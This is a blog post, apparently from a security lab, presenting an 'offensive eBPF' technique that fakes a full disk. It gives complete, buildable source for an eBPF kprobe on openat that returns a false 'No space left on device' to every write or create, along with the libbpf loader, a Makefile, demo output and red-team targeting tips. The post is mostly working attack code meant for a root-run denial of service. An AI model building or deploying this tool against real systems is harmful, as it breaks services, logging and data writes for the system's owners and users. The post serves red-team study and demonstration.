Offensive eBPF - Simulating a Full Disk

Jan 13, 2026 by Zacharia Mansouri | 131 views

Linux Offensive Security eBPF

https://cylab.be/blog/471/offensive-ebpf-simulating-a-full-disk

The most effective Denial of Service attacks don’t always require flooding a network or physically filling a hard drive. Sometimes, they just require a well-placed lie. Imagine a system administrator looking at df -h and seeing Terabytes of free space, while every critical service crashes with “No space left on device”. This is the power of kernel-level deception. In this post, we will demonstrate how to use eBPF not to fix a system, but to break it. By hooking into the openat syscall, we will force the OS to lie to its own applications, simulating a catastrophic storage failure without writing a single byte of data.

fake-disk-filler.png

If you’re new to eBPF, this Practical Introduction could be a helpful place to start.

The Mechanism: Hijacking openat

To write a file in Linux, a program eventually makes a system call. On modern x86 systems, opening a file (or creating one) usually goes through the openat syscall.

Typically, the process unfolds through the following steps:

  1. User App: Calls open(...).
  2. Kernel: Checks permissions, allocates an inode, sets up the file descriptor.
  3. Return: Success (File Descriptor ID) or Error (Negative integer).

We are going to inject an eBPF program into the second step. Our program will inspect the request, and if it involves writing to a target file, it will force an immediate return with a specific error code: ENOSPC (Error: No Space).

Part 1: The Kernel Payload (program.bpf.c)

We’ll start with the code that executes in kernel space. Its job is to intercept the system call, understand what the user is trying to do, and decide whether to allow it or “lie” and return an error.

The Setup and Constants

First, we define our environment. We use vmlinux.h (generated using bpftool) to access kernel data structures without needing system headers, and we define the specific flags openat uses to signal “Write” or “Create” intent.

#define __TARGET_ARCH_x86
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>

// Define Error Code for "No Space Left on Device"
#define ENOSPC -28       

// Standard flags for openat()
#define O_CREAT 0x40     // Create file if it doesn't exist
#define O_WRONLY 0x01    // Open for writing only
#define O_RDWR   0x02    // Open for reading and writing

char LICENSE[] SEC("license") = "GPL";

Understanding the __x64_sys_ Wrapper

This is the most technically complex part. When you hook a syscall on modern x86-64 Linux, you don’t get the arguments (like filename or flags) directly.

Instead, the kernel wraps the system call in a “wrapper function” called __x64_sys_openat. This wrapper takes exactly one argument: a pointer to a struct containing the CPU registers.

To get the actual data, we have to perform a double-lookup:

  1. Unpack the Wrapper: We look at the first argument of the wrapper function (stored in PT_REGS_PARM1) to find the address of the saved registers.
  2. Read the Real Arguments: Once we have that address, we read the specific registers we care about: SI (Source Index) for the filename and DX (Data Index) for the flags.
SEC("kprobe/__x64_sys_openat")
int inject_disk_full(struct pt_regs *ctx)
{
    // 1. Unwrap the syscall 
    // The kernel wrapper holds a pointer to the actual registers in its first argument.
    struct pt_regs *regs = (struct pt_regs *)PT_REGS_PARM1(ctx);

    // 2. Extract specific arguments from the unwrapped registers
    // openat(dfd, filename, flags, mode)
    // Argument 2 (filename) lives in the 'si' register
    // Argument 3 (flags) lives in the 'dx' register
    
    const char *fname_ptr = (const char *)BPF_CORE_READ(regs, si);
    int flags = (int)BPF_CORE_READ(regs, dx);

    // ... continued below ...

Filtering: Target Selection

If we blocked every call to openat, the system would crash immediately because processes wouldn’t be able to read configuration files or load libraries. We must strictly filter for destructive actions: creating new files (O_CREAT) or opening files for writing (O_WRONLY / O_RDWR).

    // ... continued from above ...

    bool is_creating = (flags & O_CREAT);
    bool is_writing  = (flags & O_WRONLY) || (flags & O_RDWR);

    // If they are just reading, let them pass.
    if (!is_creating && !is_writing) {
        return 0; 
    }

Safety Whitelist (Self-Preservation)

We need to ensure our own agent doesn’t get blocked by its own chaos. We read the filename from user memory and check if it matches our program’s name.

    char fname[64];
    
    // bpf_probe_read_user_str safely copies the string from user-space memory
    long ret = bpf_probe_read_user_str(fname, sizeof(fname), fname_ptr);
    
    // If we fail to read the filename, fail open (allow the call) to be safe.
    if (ret < 0) return 0;

    // Hardcoded whitelist: If the file is our own binary "./program", allow it.
    // In a real scenario, you might check for a specific PID or directory instead.
    if (fname[0]=='.' && fname[1]=='/' && fname[2]=='p' && fname[3]=='r' &&
        fname[4]=='o' && fname[5]=='g' && fname[6]=='r' && fname[7]=='a' &&
        fname[8]=='m') {
        return 0;
    }

The Attack: Overriding the Return

Finally, if the request is a write operation and it’s not whitelisted, we execute the attack.

bpf_override_return does two things:

  1. Aborts the original function (the disk is never touched).
  2. Returns the value we specify (ENOSPC has the value -28) to the calling application.
    // "No Space Left on Device"
    bpf_override_return(ctx, ENOSPC);
    
    return 0;
}

Part 2: The Agent (program.c)

The BPF code we wrote above is just a compiled object file sitting on disk. It is dormant. To make it active, we need a user-space program to interact with the Linux kernel, load the bytecode, and verify it is safe to run.

We use libbpf, the industry-standard library for this. It handles the heavy lifting of verifying kernel versions, memory mapping, and attaching probes.

The BPF Skeleton Header

Modern eBPF development uses a “Skeleton” header (program.skel.h). This file is auto-generated by bpftool from our compiled BPF object. It creates a C structure (struct program_bpf) that mirrors our BPF maps and functions, allowing us to interact with them as native C objects.

First, we handle the boilerplate containing the include directives for standard libraries and the generated skeleton header, signal handling (to exit gracefully), and opening the skeleton.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <bpf/libbpf.h>
#include "program.skel.h" // Auto-generated by bpftool

static volatile bool exiting = false;
static void sig_handler(int sig) { exiting = true; }

int main(int argc, char **argv)
{
    struct program_bpf *skel;
    int err;

    // Open the BPF skeleton. 
    // This doesn't talk to the kernel yet; it just allocates memory in user-space.
    skel = program_bpf__open();
    if (!skel) {
        fprintf(stderr, "Failed to open BPF skeleton\n");
        return 1;
    }

Loading and Verifying

At that point, program_bpf__load(skel) takes the bytecode and sends it to the kernel.

The Linux Kernel “Verifier” analyzes every instruction to ensure it is safe (no infinite loops, no illegal memory access).

Note that this is where bpf_override_return might fail. This function is considered dangerous because it changes the kernel logic. If your kernel was compiled without the CONFIG_BPF_KPROBE_OVERRIDE flag, which is common in secure-boot environments, the load step will fail. Indeed, any BPF program that relies on this feature cannot pass the verification step when the option is disabled, preventing it from loading.

    // Load the BPF program into the kernel.
    // The Verifier runs here. If the kernel forbids error injection, this fails.
    if (program_bpf__load(skel)) {
        fprintf(stderr, "Failed to load BPF. (Check CONFIG_BPF_KPROBE_OVERRIDE)\n");
        return 1;
    }

Attachment

At this stage, the code is loaded in kernel memory but is “detached”, it isn’t running yet. We call program_bpf__attach(skel) to actually hook our function onto __x64_sys_openat.

Once this function returns success, the trap is set. Any process calling openat from this moment forward will pass through our filter.

    // Activate the hooks.
    // The BPF program is now intercepting syscalls live.
    if (program_bpf__attach(skel)) {
        fprintf(stderr, "Failed to attach BPF program\n");
        return 1;
    }

    signal(SIGINT, sig_handler);
    
    printf("--- Fake Disk Filler eBPF Agent Running ---\n");
    printf("Writes are now globally blocked (fake ENOSPC).\n");
    printf("Press Ctrl+C to stop.\n");

The Keep-Alive Loop

That loop exists to maintain the BPF program’s lifecycle. Indeed, the kernel tracks BPF programs using file descriptors. As long as the user-space process holds the file descriptor open, the BPF program stays loaded in the kernel. If the process exits, the OS closes its file descriptors. Consequently, the kernel sees the reference count drop to zero and immediately removes the BPF program.

Therefore, we must sleep in a loop to prevent the process from terminating. This keeps the file descriptor open, ensuring the BPF program continues running until we explicitly stop it.

    // Wait for Ctrl+C.
    // If we exit, the kernel automatically unloads the BPF program.
    while (!exiting) {
        sleep(1);
    }

    // Clean up resources before exiting.
    program_bpf__destroy(skel);
    return 0;
}

The Lie in Action

Once compiled and executed with sudo, the agent essentially turns the filesystem into a read-only playground for any process attempting to write new data (except those matching our whitelist).

Terminal 1 (The Agent):

sudo ./program
# --- Fake Disk Filler eBPF Agent Running ---
# Writes are now globally blocked (fake ENOSPC).
# Press Ctrl+C to stop.

Terminal 2 (The Victim):

$ touch important_data.txt
touch: cannot touch 'important_data.txt': No space left on device

$ echo "backup" >> /var/log/syslog
-bash: /var/log/syslog: No space left on device

However, because we filtered the flags, read operations remain unaffected:

$ cat /etc/hosts
127.0.0.1 localhost
# (Success)

Risks and Limitations

This tool is more of a hammer than a scalpel. While we added a small whitelist check in the BPF code, in its current state, it inspects openat for every process on the system.

  • Global Scope: Blocking writes globally can confuse system daemons, logging services and database background processes. In a real Red Team scenario, you would likely filter by PID (Process ID) to target a specific victim application.
  • Operational Noise: This is not a stealthy attack. Victims (applications) will loudly complain to system logs about disk errors. If an admin looks at journalctl, they will see a wall of ENOSPC errors. Furthermore, if the logging daemon itself is blocked from writing, you might trigger a cascading failure where even the logs cannot be saved.
  • Kernel Taint: Loading a BPF program that overrides return values may flag the kernel as “tainted” in dmesg (depending on the distribution), alerting security monitoring tools that the kernel runtime has been modified by an external agent.
  • Kernel Config: This technique requires CONFIG_BPF_KPROBE_OVERRIDE. This is often disabled on generic production kernels for security reasons, as it effectively allows root to alter kernel logic without recompiling modules.
  • Architecture: The register access code (PT_REGS_PARM1, BPF_CORE_READ) is specific to x86-64.

Full Code

To keep the project structure clean and standardized, this code follows the pattern outlined in the Getting Started with LibBPF guide. This ensures we are using modern BPF CO-RE (Compile Once - Run Everywhere) best practices, separating the kernel logic, the user-space controller, and the build system into distinct, manageable components.

Hereunder is the complete source code for the project.

The Kernel Payload (program.bpf.c)

#define __TARGET_ARCH_x86

#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>

// --- Configuration ---
#define ENOSPC -28       // Error: No Space Left
#define O_CREAT 0x40     // Flag: Create
#define O_WRONLY 0x01    // Flag: Write Only
#define O_RDWR   0x02    // Flag: Read/Write

char LICENSE[] SEC("license") = "GPL";

// --- Logic ---
SEC("kprobe/__x64_sys_openat")
int inject_disk_full(struct pt_regs *ctx)
{
    // Unpack the syscall wrapper to get actual registers
    struct pt_regs *regs = (struct pt_regs *)PT_REGS_PARM1(ctx);

    // Read arguments: filename (arg2/si) and flags (arg3/dx)
    const char *fname_ptr = (const char *)BPF_CORE_READ(regs, si);
    int flags = (int)BPF_CORE_READ(regs, dx);

    // Filter: Only block Writes and Creates
    bool is_creating = (flags & O_CREAT);
    bool is_writing  = (flags & O_WRONLY) || (flags & O_RDWR);

    if (!is_creating && !is_writing) {
        return 0; // Allow read-only
    }

    // Safely read the filename from user memory
    char fname[64];
    long ret = bpf_probe_read_user_str(fname, sizeof(fname), fname_ptr);
    if (ret < 0) return 0; // Fail safe if we can't read name

    // Whitelist: Protect our own agent 
    if (fname[0]=='.' && fname[1]=='/' && fname[2]=='p' && fname[3]=='r' &&
        fname[4]=='o' && fname[5]=='g' && fname[6]=='r' && fname[7]=='a' &&
        fname[8]=='m') {
        return 0;
    }

    // 6. Inject the Lie
    bpf_override_return(ctx, ENOSPC);
    return 0;
}

The Agent (program.c)

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <bpf/libbpf.h>
#include "program.skel.h" // Auto-generated by Makefile

static volatile bool exiting = false;
static void sig_handler(int sig) { exiting = true; }

int main(int argc, char **argv)
{
    struct program_bpf *skel;
    int err;

    // Load Skeleton
    skel = program_bpf__open();
    if (!skel) {
        fprintf(stderr, "Failed to open BPF skeleton\n");
        return 1;
    }

    // Load into Kernel
    if (program_bpf__load(skel)) {
        fprintf(stderr, "Failed to load BPF. (Check CONFIG_BPF_KPROBE_OVERRIDE)\n");
        return 1;
    }

    // Attach Hooks
    if (program_bpf__attach(skel)) {
        fprintf(stderr, "Failed to attach BPF program\n");
        return 1;
    }

    signal(SIGINT, sig_handler);
    printf("--- Fake Disk Filler eBPF Agent Running ---\n");
    printf("Writes are now globally blocked (fake ENOSPC).\n");
    printf("Press Ctrl+C to stop.\n");

    // Keep Alive
    while (!exiting) {
        sleep(1);
    }

    // Cleanup
    program_bpf__destroy(skel);
    return 0;
}

Build System (Makefile)

To build this, simply run make. It handles generating vmlinux.h, compiling the BPF code to bytecode, generating the skeleton header, and linking the final binary.

BPF_CLANG=clang
BPF_CFLAGS=-g -O2 -target bpf
USER_CFLAGS=-g -O2

NAME=program
BPFOBJ=$(NAME).bpf.o
SKELETON=$(NAME).skel.h
EXEC=$(NAME)

# Build user-space executable
$(EXEC): $(SKELETON) $(NAME).c 
	$(BPF_CLANG) $(USER_CFLAGS) $(NAME).c -lbpf -o $(EXEC)

# Build BPF object
$(BPFOBJ): $(NAME).bpf.c vmlinux.h
	$(BPF_CLANG) $(BPF_CFLAGS) -c $(NAME).bpf.c -o $(BPFOBJ)

# Generate vmlinux.h from system BTF
vmlinux.h:
	bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h

# Generate skeleton header
$(SKELETON): $(BPFOBJ)
	bpftool gen skeleton $(BPFOBJ) > $(SKELETON)

# Clean build artifacts
clean:
	- rm -f *.o *.skel.h vmlinux.h $(EXEC)

Conclusion

This “Fake Disk Filler” demonstrates how easily we can subvert the reality presented to applications. When a program receives a “Disk Full” error, it treats it as absolute fact, regardless of the actual physical storage available.

By using eBPF to inject this lie, we created a Denial of Service condition purely in logic, without writing a single byte of garbage data. This highlights that eBPF is no longer just a passive observability tool, but an active control plane capable of rewriting the rules of the operating system on the fly.

This blog post is licensed under CC BY-SA 4.0

This website uses cookies. More information about the use of cookies is available in the cookies policy.
Accept